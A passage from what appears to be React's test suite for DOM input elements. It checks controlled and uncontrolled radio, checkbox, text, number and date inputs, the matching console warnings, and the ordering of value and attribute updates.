expect(isCheckedDirty(two)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n\n    await act(() => {\n      root.render(\n        <div>\n          <input\n            type=\"radio\"\n            name=\"a\"\n            value=\"1\"\n            checked={true}\n            onChange={() => {}}\n          />\n          <input\n            type=\"radio\"\n            name=\"b\"\n            value=\"2\"\n            checked={true}\n            onChange={() => {}}\n          />\n        </div>,\n      );\n    });\n    expect(one.checked).toBe(true);\n    expect(two.checked).toBe(true);\n    expect(isCheckedDirty(one)).toBe(true);\n    expect(isCheckedDirty(two)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n  });\n\n  // @gate !disableLegacyMode\n  it('should control radio buttons if the tree updates during render in legacy mode', async () => {\n    container.remove();\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    const sharedParent = container;\n    const container1 = document.createElement('div');\n    const container2 = document.createElement('div');\n\n    sharedParent.appendChild(container1);\n\n    let aNode;\n    let bNode;\n    class ComponentA extends React.Component {\n      state = {changed: false};\n      handleChange = () => {\n        this.setState({\n          changed: true,\n        });\n      };\n      componentDidUpdate() {\n        sharedParent.appendChild(container2);\n      }\n      componentDidMount() {\n        ReactDOM.render(<ComponentB />, container2);\n      }\n      render() {\n        return (\n          <div>\n            <input\n              ref={n => (aNode = n)}\n              type=\"radio\"\n              name=\"fruit\"\n              checked={false}\n              onChange={this.handleChange}\n            />\n            A\n          </div>\n        );\n      }\n    }\n\n    class ComponentB extends React.Component {\n      render() {\n        return (\n          <div>\n            <input\n              ref={n => (bNode = n)}\n              type=\"radio\"\n              name=\"fruit\"\n              checked={true}\n              onChange={emptyFunction}\n            />\n            B\n          </div>\n        );\n      }\n    }\n\n    ReactDOM.render(<ComponentA />, container1);\n\n    expect(aNode.checked).toBe(false);\n    expect(bNode.checked).toBe(true);\n    expect(isCheckedDirty(aNode)).toBe(true);\n    expect(isCheckedDirty(bNode)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n\n    setUntrackedChecked.call(aNode, true);\n    // This next line isn't necessary in a proper browser environment, but\n    // jsdom doesn't uncheck the others in a group (because they are not yet\n    // sharing a parent), which makes this whole test a little less effective.\n    setUntrackedChecked.call(bNode, false);\n\n    // Now let's run the actual ReactDOMInput change event handler\n    dispatchEventOnNode(aNode, 'click');\n\n    // The original state should have been restored\n    expect(aNode.checked).toBe(false);\n    expect(bNode.checked).toBe(true);\n    expect(isCheckedDirty(aNode)).toBe(true);\n    expect(isCheckedDirty(bNode)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n  });\n\n  it('should control radio buttons if the tree updates during render (case 2; #26876)', async () => {\n    let thunk = null;\n    function App() {\n      const [disabled, setDisabled] = React.useState(false);\n      const [value, setValue] = React.useState('one');\n      function handleChange(e) {\n        setDisabled(true);\n        // Pretend this is in a setTimeout or something\n        thunk = () => {\n          setDisabled(false);\n          setValue(e.target.value);\n        };\n      }\n      return (\n        <>\n          <input\n            type=\"radio\"\n            name=\"fruit\"\n            value=\"one\"\n            checked={value === 'one'}\n            onChange={handleChange}\n            disabled={disabled}\n          />\n          <input\n            type=\"radio\"\n            name=\"fruit\"\n            value=\"two\"\n            checked={value === 'two'}\n            onChange={handleChange}\n            disabled={disabled}\n          />\n        </>\n      );\n    }\n    await act(() => {\n      root.render(<App />);\n    });\n    const [one, two] = container.querySelectorAll('input');\n    expect(one.checked).toBe(true);\n    expect(two.checked).toBe(false);\n    expect(isCheckedDirty(one)).toBe(true);\n    expect(isCheckedDirty(two)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n\n    // Click two\n    setUntrackedChecked.call(two, true);\n    await act(() => {\n      dispatchEventOnNode(two, 'click');\n    });\n    expect(one.checked).toBe(true);\n    expect(two.checked).toBe(false);\n    expect(isCheckedDirty(one)).toBe(true);\n    expect(isCheckedDirty(two)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n\n    // After a delay...\n    await act(thunk);\n    expect(one.checked).toBe(false);\n    expect(two.checked).toBe(true);\n    expect(isCheckedDirty(one)).toBe(true);\n    expect(isCheckedDirty(two)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n\n    // Click back to one\n    setUntrackedChecked.call(one, true);\n    await act(() => {\n      dispatchEventOnNode(one, 'click');\n    });\n    expect(one.checked).toBe(false);\n    expect(two.checked).toBe(true);\n    expect(isCheckedDirty(one)).toBe(true);\n    expect(isCheckedDirty(two)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n\n    // After a delay...\n    await act(thunk);\n    expect(one.checked).toBe(true);\n    expect(two.checked).toBe(false);\n    expect(isCheckedDirty(one)).toBe(true);\n    expect(isCheckedDirty(two)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n  });\n\n  it('should warn with value and no onChange handler and readOnly specified', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value=\"zoink\" readOnly={true} />);\n    });\n    root.unmount();\n    root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<input type=\"text\" value=\"zoink\" readOnly={false} />);\n    });\n    assertConsoleErrorDev([\n      'You provided a `value` prop to a form ' +\n        'field without an `onChange` handler. This will render a read-only ' +\n        'field. If the field should be mutable use `defaultValue`. ' +\n        'Otherwise, set either `onChange` or `readOnly`.\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should have a this value of undefined if bind is not used', async () => {\n    expect.assertions(1);\n    const unboundInputOnChange = function () {\n      expect(this).toBe(undefined);\n    };\n\n    const stub = <input type=\"text\" onChange={unboundInputOnChange} />;\n    await act(() => {\n      root.render(stub);\n    });\n    const node = container.firstChild;\n\n    setUntrackedValue.call(node, 'giraffe');\n    await act(() => {\n      dispatchEventOnNode(node, 'input');\n    });\n  });\n\n  it('should update defaultValue to empty string', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue={'foo'} />);\n    });\n    if (disableInputAttributeSyncing) {\n      expect(isValueDirty(container.firstChild)).toBe(false);\n    } else {\n      expect(isValueDirty(container.firstChild)).toBe(true);\n    }\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue={''} />);\n    });\n    expect(container.firstChild.defaultValue).toBe('');\n    if (disableInputAttributeSyncing) {\n      expect(isValueDirty(container.firstChild)).toBe(false);\n    } else {\n      expect(isValueDirty(container.firstChild)).toBe(true);\n    }\n  });\n\n  it('should warn if value is null', async () => {\n    await act(() => {\n      root.render(<input type=\"text\" value={null} />);\n    });\n    assertConsoleErrorDev([\n      '`value` prop on `input` should not be null. ' +\n        'Consider using an empty string to clear the component or `undefined` ' +\n        'for uncontrolled components.\\n' +\n        '    in input (at **)',\n    ]);\n    root.unmount();\n\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<input type=\"text\" value={null} />);\n    });\n  });\n\n  it('should warn if checked and defaultChecked props are specified', async () => {\n    await act(() => {\n      root.render(\n        <input\n          type=\"radio\"\n          checked={true}\n          defaultChecked={true}\n          readOnly={true}\n        />,\n      );\n    });\n    assertConsoleErrorDev([\n      'A component contains an input of type radio with both checked and defaultChecked props. ' +\n        'Input elements must be either controlled or uncontrolled ' +\n        '(specify either the checked prop, or the defaultChecked prop, but not ' +\n        'both). Decide between using a controlled or uncontrolled input ' +\n        'element and remove one of these props. More info: ' +\n        'https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n    root.unmount();\n\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <input\n          type=\"radio\"\n          checked={true}\n          defaultChecked={true}\n          readOnly={true}\n        />,\n      );\n    });\n  });\n\n  it('should warn if value and defaultValue props are specified', async () => {\n    await act(() => {\n      root.render(\n        <input type=\"text\" value=\"foo\" defaultValue=\"bar\" readOnly={true} />,\n      );\n    });\n    assertConsoleErrorDev([\n      'A component contains an input of type text with both value and defaultValue props. ' +\n        'Input elements must be either controlled or uncontrolled ' +\n        '(specify either the value prop, or the defaultValue prop, but not ' +\n        'both). Decide between using a controlled or uncontrolled input ' +\n        'element and remove one of these props. More info: ' +\n        'https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n    await (() => {\n      root.unmount();\n    });\n\n    await act(() => {\n      root.render(\n        <input type=\"text\" value=\"foo\" defaultValue=\"bar\" readOnly={true} />,\n      );\n    });\n  });\n\n  it('should warn if controlled input switches to uncontrolled (value is undefined)', async () => {\n    const stub = (\n      <input type=\"text\" value=\"controlled\" onChange={emptyFunction} />\n    );\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"text\" />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to ' +\n        'undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if controlled input switches to uncontrolled (value is null)', async () => {\n    const stub = (\n      <input type=\"text\" value=\"controlled\" onChange={emptyFunction} />\n    );\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"text\" value={null} />);\n    });\n    assertConsoleErrorDev([\n      '`value` prop on `input` should not be null. ' +\n        'Consider using an empty string to clear the component or `undefined` for uncontrolled components.\\n' +\n        '    in input (at **)',\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to ' +\n        'undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if controlled input switches to uncontrolled with defaultValue', async () => {\n    const stub = (\n      <input type=\"text\" value=\"controlled\" onChange={emptyFunction} />\n    );\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"text\" defaultValue=\"uncontrolled\" />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to ' +\n        'undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if uncontrolled input (value is undefined) switches to controlled', async () => {\n    const stub = <input type=\"text\" />;\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"text\" value=\"controlled\" />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing an uncontrolled input to be controlled. ' +\n        'This is likely caused by the value changing from undefined to ' +\n        'a defined value, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if uncontrolled input (value is null) switches to controlled', async () => {\n    const stub = <input type=\"text\" value={null} />;\n    await act(() => {\n      root.render(stub);\n    });\n    assertConsoleErrorDev([\n      '`value` prop on `input` should not be null. ' +\n        'Consider using an empty string to clear the component or `undefined` for uncontrolled components.\\n' +\n        '    in input (at **)',\n    ]);\n    await act(() => {\n      root.render(<input type=\"text\" value=\"controlled\" />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing an uncontrolled input to be controlled. ' +\n        'This is likely caused by the value changing from undefined to ' +\n        'a defined value, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if controlled checkbox switches to uncontrolled (checked is undefined)', async () => {\n    const stub = (\n      <input type=\"checkbox\" checked={true} onChange={emptyFunction} />\n    );\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"checkbox\" />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to ' +\n        'undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if controlled checkbox switches to uncontrolled (checked is null)', async () => {\n    const stub = (\n      <input type=\"checkbox\" checked={true} onChange={emptyFunction} />\n    );\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"checkbox\" checked={null} />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to ' +\n        'undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if controlled checkbox switches to uncontrolled with defaultChecked', async () => {\n    const stub = (\n      <input type=\"checkbox\" checked={true} onChange={emptyFunction} />\n    );\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"checkbox\" defaultChecked={true} />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to ' +\n        'undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if uncontrolled checkbox (checked is undefined) switches to controlled', async () => {\n    const stub = <input type=\"checkbox\" />;\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"checkbox\" checked={true} />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing an uncontrolled input to be controlled. ' +\n        'This is likely caused by the value changing from undefined to ' +\n        'a defined value, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if uncontrolled checkbox (checked is null) switches to controlled', async () => {\n    const stub = <input type=\"checkbox\" checked={null} />;\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"checkbox\" checked={true} />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing an uncontrolled input to be controlled. ' +\n        'This is likely caused by the value changing from undefined to ' +\n        'a defined value, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if controlled radio switches to uncontrolled (checked is undefined)', async () => {\n    const stub = <input type=\"radio\" checked={true} onChange={emptyFunction} />;\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to ' +\n        'undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if controlled radio switches to uncontrolled (checked is null)', async () => {\n    const stub = <input type=\"radio\" checked={true} onChange={emptyFunction} />;\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" checked={null} />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to ' +\n        'undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if controlled radio switches to uncontrolled with defaultChecked', async () => {\n    const stub = <input type=\"radio\" checked={true} onChange={emptyFunction} />;\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" defaultChecked={true} />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to ' +\n        'undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if uncontrolled radio (checked is undefined) switches to controlled', async () => {\n    const stub = <input type=\"radio\" />;\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" checked={true} />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing an uncontrolled input to be controlled. ' +\n        'This is likely caused by the value changing from undefined to ' +\n        'a defined value, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should warn if uncontrolled radio (checked is null) switches to controlled', async () => {\n    const stub = <input type=\"radio\" checked={null} />;\n    await act(() => {\n      root.render(stub);\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" checked={true} />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing an uncontrolled input to be controlled. ' +\n        'This is likely caused by the value changing from undefined to ' +\n        'a defined value, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('should not warn if radio value changes but never becomes controlled', async () => {\n    await act(() => {\n      root.render(<input type=\"radio\" value=\"value\" />);\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" />);\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" value=\"value\" defaultChecked={true} />);\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" value=\"value\" onChange={() => null} />);\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" />);\n    });\n  });\n\n  it('should not warn if radio value changes but never becomes uncontrolled', async () => {\n    await act(() => {\n      root.render(<input type=\"radio\" checked={false} onChange={() => null} />);\n    });\n    const input = container.querySelector('input');\n    expect(isCheckedDirty(input)).toBe(true);\n    await act(() => {\n      root.render(\n        <input\n          type=\"radio\"\n          value=\"value\"\n          defaultChecked={true}\n          checked={false}\n          onChange={() => null}\n        />,\n      );\n    });\n    expect(isCheckedDirty(input)).toBe(true);\n    assertInputTrackingIsCurrent(container);\n  });\n\n  it('should warn if radio checked false changes to become uncontrolled', async () => {\n    await act(() => {\n      root.render(\n        <input\n          type=\"radio\"\n          value=\"value\"\n          checked={false}\n          onChange={() => null}\n        />,\n      );\n    });\n    await act(() => {\n      root.render(<input type=\"radio\" value=\"value\" />);\n    });\n    assertConsoleErrorDev([\n      'A component is changing a controlled input to be uncontrolled. ' +\n        'This is likely caused by the value changing from a defined to ' +\n        'undefined, which should not happen. ' +\n        'Decide between using a controlled or uncontrolled input ' +\n        'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\\n' +\n        '    in input (at **)',\n    ]);\n  });\n\n  it('sets type, step, min, max before value always', async () => {\n    const log = [];\n    const originalCreateElement = document.createElement;\n    spyOnDevAndProd(document, 'createElement').mockImplementation(\n      function (type) {\n        const el = originalCreateElement.apply(this, arguments);\n        let value = '';\n        let typeProp = '';\n\n        if (type === 'input') {\n          Object.defineProperty(el, 'type', {\n            get: function () {\n              return typeProp;\n            },\n            set: function (val) {\n              typeProp = String(val);\n              log.push('set property type');\n            },\n          });\n          Object.defineProperty(el, 'value', {\n            get: function () {\n              return value;\n            },\n            set: function (val) {\n              value = String(val);\n              log.push('set property value');\n            },\n          });\n          spyOnDevAndProd(el, 'setAttribute').mockImplementation(\n            function (name) {\n              log.push('set attribute ' + name);\n            },\n          );\n        }\n        return el;\n      },\n    );\n\n    await act(() => {\n      root.render(\n        <input\n          value=\"0\"\n          onChange={() => {}}\n          type=\"range\"\n          min=\"0\"\n          max=\"100\"\n          step=\"1\"\n        />,\n      );\n    });\n\n    expect(log).toEqual([\n      'set attribute min',\n      'set attribute max',\n      'set attribute step',\n      'set property type',\n      'set property value',\n    ]);\n  });\n\n  it('sets value properly with type coming later in props', async () => {\n    await act(() => {\n      root.render(<input value=\"hi\" type=\"radio\" />);\n    });\n    expect(container.firstChild.value).toBe('hi');\n  });\n\n  it('does not raise a validation warning when it switches types', async () => {\n    class Input extends React.Component {\n      state = {type: 'number', value: 1000};\n\n      render() {\n        const {value, type} = this.state;\n        return <input onChange={() => {}} type={type} value={value} />;\n      }\n    }\n\n    const ref = React.createRef();\n    await act(() => {\n      root.render(<Input ref={ref} />);\n    });\n    const node = container.firstChild;\n\n    // If the value is set before the type, a validation warning will raise and\n    // the value will not be assigned.\n    await act(() => {\n      ref.current.setState({type: 'text', value: 'Test'});\n    });\n    expect(node.value).toEqual('Test');\n  });\n\n  it('resets value of date/time input to fix bugs in iOS Safari', async () => {\n    function strify(x) {\n      return JSON.stringify(x, null, 2);\n    }\n\n    const log = [];\n    const originalCreateElement = document.createElement;\n    spyOnDevAndProd(document, 'createElement').mockImplementation(\n      function (type) {\n        const el = originalCreateElement.apply(this, arguments);\n        const getDefaultValue = Object.getOwnPropertyDescriptor(\n          HTMLInputElement.prototype,\n          'defaultValue',\n        ).get;\n        const setDefaultValue = Object.getOwnPropertyDescriptor(\n          HTMLInputElement.prototype,\n          'defaultValue',\n        ).set;\n        const getValue = Object.getOwnPropertyDescriptor(\n          HTMLInputElement.prototype,\n          'value',\n        ).get;\n        const setValue = Object.getOwnPropertyDescriptor(\n          HTMLInputElement.prototype,\n          'value',\n        ).set;\n        const getType = Object.getOwnPropertyDescriptor(\n          HTMLInputElement.prototype,\n          'type',\n        ).get;\n        const setType = Object.getOwnPropertyDescriptor(\n          HTMLInputElement.prototype,\n          'type',\n        ).set;\n        if (type === 'input') {\n          Object.defineProperty(el, 'defaultValue', {\n            get: function () {\n              return getDefaultValue.call(this);\n            },\n            set: function (val) {\n              log.push(`node.defaultValue = ${strify(val)}`);\n              setDefaultValue.call(this, val);\n            },\n          });\n          Object.defineProperty(el, 'value', {\n            get: function () {\n              return getValue.call(this);\n            },\n            set: function (val) {\n              log.push(`node.value = ${strify(val)}`);\n              setValue.call(this, val);\n            },\n          });\n          Object.defineProperty(el, 'type', {\n            get: function () {\n              return getType.call(this);\n            },\n            set: function (val) {\n              log.push(`node.type = ${strify(val)}`);\n              setType.call(this, val);\n            },\n          });\n          spyOnDevAndProd(el, 'setAttribute').mockImplementation(\n            function (name, val) {\n              log.push(`node.setAttribute(${strify(name)}, ${strify(val)})`);\n            },\n          );\n        }\n        return el;\n      },\n    );\n\n    await act(() => {\n      root.render(<input type=\"date\" defaultValue=\"1980-01-01\" />);\n    });\n\n    if (disableInputAttributeSyncing) {\n      expect(log).toEqual([\n        'node.type = \"date\"',\n        'node.defaultValue = \"1980-01-01\"',\n        // TODO: it's possible this reintroduces the bug because we don't assign `value` at all.\n        // Need to check this on mobile Safari and Chrome.\n      ]);\n    } else {\n      expect(log).toEqual([\n        'node.type = \"date\"',\n        // value must be assigned before defaultValue. This fixes an issue where the\n        // visually displayed value of date inputs disappears on mobile Safari and Chrome:\n        // https://github.com/facebook/react/issues/7233\n        'node.value = \"1980-01-01\"',\n        'node.defaultValue = \"1980-01-01\"',\n      ]);\n    }\n  });\n\n  describe('assigning the value attribute on controlled inputs', function () {\n    function getTestInput() {\n      return class extends React.Component {\n        state = {\n          value: this.props.value == null ? '' : this.props.value,\n        };\n        onChange = event => {\n          this.setState({value: event.target.value});\n        };\n        render() {\n          const type = this.props.type;\n          const value = this.state.value;\n\n          return <input type={type} value={value} onChange={this.onChange} />;\n        }\n      };\n    }\n\n    it('always sets the attribute when values change on text inputs', async () => {\n      const Input = getTestInput();\n      await act(() => {\n        root.render(<Input type=\"text\" />);\n      });\n      const node = container.firstChild;\n      expect(isValueDirty(node)).toBe(false);\n\n      setUntrackedValue.call(node, '2');\n      await act(() => {\n        dispatchEventOnNode(node, 'input');\n      });\n\n      expect(isValueDirty(node)).toBe(true);\n      if (disableInputAttributeSyncing) {\n        expect(node.hasAttribute('value')).toBe(false);\n      } else {\n        expect(node.getAttribute('value')).toBe('2');\n      }\n    });\n\n    it('does not set the value attribute on number inputs if focused', async () => {\n      const Input = getTestInput();\n      await act(() => {\n        root.render(<Input type=\"number\" value=\"1\" />);\n      });\n      const node = container.firstChild;\n      expect(isValueDirty(node)).toBe(true);\n\n      node.focus();\n\n      setUntrackedValue.call(node, '2');\n      dispatchEventOnNode(node, 'input');\n\n      expect(isValueDirty(node)).toBe(true);\n      if (disableInputAttributeSyncing) {\n        expect(node.hasAttribute('value')).toBe(false);\n      } else {\n        expect(node.getAttribute('value')).toBe('1');\n      }\n    });\n\n    it('sets the value attribute on number inputs on blur', async () => {\n      const Input = getTestInput();\n      await act(() => {\n        root.render(<Input type=\"number\" value=\"1\" />);\n      });\n      const node = container.firstChild;\n      expect(isValueDirty(node)).toBe(true);\n\n      node.focus();\n      setUntrackedValue.call(node, '2');\n      dispatchEventOnNode(node, 'input');\n      node.blur();\n\n      expect(isValueDirty(node)).toBe(true);\n      if (disableInputAttributeSyncing) {\n        expect(node.value).toBe('2');\n        expect(node.hasAttribute('value')).toBe(false);\n      } else {\n        expect(node.value).toBe('2');\n        expect(node.getAttribute('value')).toBe('2');\n      }\n    });\n\n    it('an uncontrolled number input will not update the value attribute on blur', async () => {\n      await act(() => {\n        root.render(<input type=\"number\" defaultValue=\"1\" />);\n      });\n      const node = container.firstChild;\n      if (disableInputAttributeSyncing) {\n        expect(isValueDirty(node)).toBe(false);\n      } else {\n        expect(isValueDirty(node)).toBe(true);\n      }\n\n      node.focus();\n      setUntrackedValue.call(node, 4);\n      dispatchEventOnNode(node, 'input');\n      node.blur();\n\n      expect(isValueDirty(node)).toBe(true);\n      expect(node.getAttribute('value')).toBe('1');\n    });\n\n    it('an uncontrolled text input will not update the value attribute on blur', async () => {\n      await act(() => {\n        root.render(<input type=\"text\" defaultValue=\"1\" />);\n      });\n      const node = container.firstChild;\n      if (disableInputAttributeSyncing) {\n        expect(isValueDirty(node)).toBe(false);\n      } else {\n        expect(isValueDirty(node)).toBe(true);\n      }\n\n      node.focus();\n      setUntrackedValue.call(node, 4);\n      dispatchEventOnNode(node, 'input');\n      node.blur();\n\n      expect(isValueDirty(node)).toBe(true);\n      expect(node.getAttribute('value')).toBe('1');\n    });\n  });\n\n  describe('setting a controlled input to undefined', () => {\n    let input;\n\n    async function renderInputWithStringThenWithUndefined() {\n      let setValueToUndefined;\n      class Input extends React.Component {\n        constructor() {\n          super();\n          setValueToUndefined = () => this.setState({value: undefined});\n        }\n        state = {value: 'first'};\n        render() {\n          return (\n            <input\n              onChange={e => this.setState({value: e.target.value})}\n              value={this.state.value}\n            />\n          );\n        }\n      }\n\n      await act(() => {\n        root.render(<Input />);\n      });\n      input = container.firstChild;\n      setUntrackedValue.call(input, 'latest');\n      dispatchEventOnNode(input, 'input');\n      await act(() => {\n        setValueToUndefined();\n      });\n    }\n\n    it('reverts the value attribute to the initial value', async () => {\n      await renderInputWithStringThenWithUndefined();\n      assertConsoleErrorDev([\n        'A component is changing a controlled input to be uncontrolled. ' +\n          'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +\n          'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +\n          'More info: https://react.dev/link/controlled-components\\n' +\n          '    in input (at **)\\n' +\n          '    in Input (at **)',\n      ]);\n      if (disableInputAttributeSyncing) {\n        expect(input.getAttribute('value')).toBe(null);\n      } else {\n        expect(input.getAttribute('value')).toBe('latest');\n      }\n    });\n\n    it('preserves the value property', async () => {\n      await renderInputWithStringThenWithUndefined();\n      assertConsoleErrorDev([\n        'A component is changing a controlled input to be uncontrolled. ' +\n          'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +\n          'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +\n          'More info: https://react.dev/link/controlled-components\\n' +\n          '    in input (at **)\\n' +\n          '    in Input (at **)',\n      ]);\n      expect(input.value).toBe('latest');\n    });\n  });\n\n  describe('setting a controlled input to null', () => {\n    let input;\n\n    async function renderInputWithStringThenWithNull() {\n      let setValueToNull;\n      class Input extends React.Component {\n        constructor() {\n          super();\n          setValueToNull = () => this.setState({value: null});\n        }\n        state = {value: 'first'};\n        render() {\n          return (\n            <input\n              onChange={e => this.setState({value: e.target.value})}\n              value={this.state.value}\n            />\n          );\n        }\n      }\n\n      await act(() => {\n        root.render(<Input />);\n      });\n      input = container.firstChild;\n      setUntrackedValue.call(input, 'latest');\n      dispatchEventOnNode(input, 'input');\n      await act(() => {\n        setValueToNull();\n      });\n    }\n\n    it('reverts the value attribute to the initial value', async () => {\n      await renderInputWithStringThenWithNull();\n      assertConsoleErrorDev([\n        '`value` prop on `input` should not be null. ' +\n          'Consider using an empty string to clear the component ' +\n          'or `undefined` for uncontrolled components.\\n' +\n          '    in input (at **)\\n' +\n          '    in Input (at **)',\n        'A component is changing a controlled input to be uncontrolled. ' +\n          'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +\n          'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +\n          'More info: https://react.dev/link/controlled-components\\n' +\n          '    in input (at **)\\n' +\n          '    in Input (at **)',\n      ]);\n      if (disableInputAttributeSyncing) {\n        expect(input.getAttribute('value')).toBe(null);\n      } else {\n        expect(input.getAttribute('value')).toBe('latest');\n      }\n    });\n\n    it('preserves the value property', async () => {\n      await renderInputWithStringThenWithNull();\n      assertConsoleErrorDev([\n        '`value` prop on `input` should not be null. ' +\n          'Consider using an empty string to clear the component ' +\n          'or `undefined` for uncontrolled components.\\n' +\n          '    in input (at **)\\n' +\n          '    in Input (at **)',\n        'A component is changing a controlled input to be uncontrolled. ' +\n          'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +\n          